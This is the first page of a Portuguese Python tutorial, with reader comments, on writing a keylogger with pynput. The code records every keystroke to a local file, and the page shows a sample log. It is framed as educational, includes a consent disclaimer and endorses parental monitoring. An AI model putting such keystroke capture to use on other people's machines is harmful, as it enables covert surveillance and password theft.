Como criar um keylogger em Python

Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.

[ Hits: 48.995 ]

Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://fabio.automatizando.dev


Introdução



Antes de tudo, o propósito deste artigo é educacional. Tenho ciência de que o conteúdo abordado no artigo pode ser usado tanto para o bem quanto para mal.

Uma ótima aplicação para um keylogger seria permitir aos pais monitorarem o que seus filhos andam fazendo no computador. Se você é o responsável direto da criança, essa atividade é legítima e não requer autorização.

Já em casos onde você não é o responsável pela pessoa, o uso de keylogger requer o CONSENTIMENTO de ambas as partes, caso contrário a atividade é considerada CRIME.

Então já fica avisado, usar keylogger para descobrir a senha do Facebook da namorada é crime!!!!

Mão na massa

No Python existem várias formas de se obter o mesmo resultado. Para este artigo utilizaremos a biblioteca pynput para obtermos acesso ao teclado. Também utilizarei a versão 3 do Python, não testei o código na versão 2.

Primeiramente verifique se você possui o pynput instalado:

python3 -m pynput
/usr/bin/python3: No module named pynput

A saída acima indica que não possui a pynput instalada. Para resolver a dependência basta executar:

pip3 install pynput

Feito isso, teste novamente:

python3 -m pynput
/usr/bin/python3: No module named pynput.__main__; 'pynput' is a package and cannot be directly executed

Tudo certo, já podemos começar!

Segue a primeira versão de nosso keylogger com comentários:

vim keylogger.py

#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener

#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"

def writeLog(key):
    '''
    Esta função será responsável por receber a tecla pressionada
    via Listener e escrever no arquivo de log
    '''

    #converter a tecla pressionada para string
    keydata = str(key)

    #abrir o arquivo de log no modo append
    with open(logFile, "a") as f:
        f.write(keydata)

#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
    l.join()

Vamos agora executar e testar o código:

python3 keylogger.py

Abra um segundo terminal e monitore o arquivo de log:

tail -f /home/fabio/python/keylogger/log.txt

Em outro terminal eu digitei "Viva o Linux!", o registro no log ficou mais ou menos assim:

Key.shift_r'V''i''v''a'Key.space'o'Key.spaceKey.shift_r'L''i''n''u''x'Key.shift_r'!''"'Key.backspaceKey.enterKey.alt'3'

Note que cada letra foi delimitada por aspas simples e teclas como o shift, espaço, enter e backspace foram logadas de forma bruta.

Na próxima página veremos como melhorar isso.

    Próxima página

Páginas do artigo
   1. Introdução
   2. Incrementando o código
Outros artigos deste autor

Acessando disquetes no Linux

Capturando tela do Android usando shell script

Firefox 2 e seu recurso de proteção contra Web Phishing

Python - Usando requests anônimos através da rede Tor

Viva o Linux 2008 - Site com cara e recursos novos!

Leitura recomendada

Interagindo com servidores HTTP com Python

Clicador automático de Tinder com Python

Como baixar vídeos do Facebook via terminal

Download de Arquivos com Verificação do Hash SHA 256

Python: automatizando a extração de informações na web com expressões regulares

  
Comentários
[1] Comentário enviado por REDN1T em 04/01/2019 - 17:03h

Gostei do seu código, ele esta tão bem comentado que eu que não programo em python consigo enteder o que está acontecendo. Continue assim.

[2] Comentário enviado por BiaMonteiro em 04/01/2019 - 18:44h

Daqui a pouco os hackers do Kali Linux vão usar o Python para desenvolver essa ferramenta.
No mais, ótimo artigo, deixarei meu like.

[3] Comentário enviado por Danilo Falkner em 08/01/2019 - 00:03h

Olha, python mensagem de erro no terminal:

#converter a tecla pressionada para string
keydata = str(key)
^
"NameError: name('key') is not defined."

o que fazer?
Obrigado! Abraço Vivo o Linux!

[4] Comentário enviado por fabio em 08/01/2019 - 02:09h


[3] Comentário enviado por Danilo Falkner em 08/01/2019 - 00:03h

Olha, python mensagem de erro no terminal:

#converter a tecla pressionada para string
keydata = str(key)
^
"NameError: name('key') is not defined."

o que fazer?
Obrigado! Abraço Vivo o Linux!


Você provavelmente não copiou o código corretamente. No final do artigo tem um link para o script no GitHub, baixe o código completo de lá.

[5] Comentário enviado por Kirimatt em 17/02/2021 - 07:14h

logfile = "C:\Users\Windows10\Downloads\python\key_logger\log.txt"
^
SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in position 2-3: truncated \UXXXXXXXX escape

Estou tendo esse erro na hora de executar o programa, alguma ideia do que possa ser? Já conferi a localização do arquivo e ela está correta


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts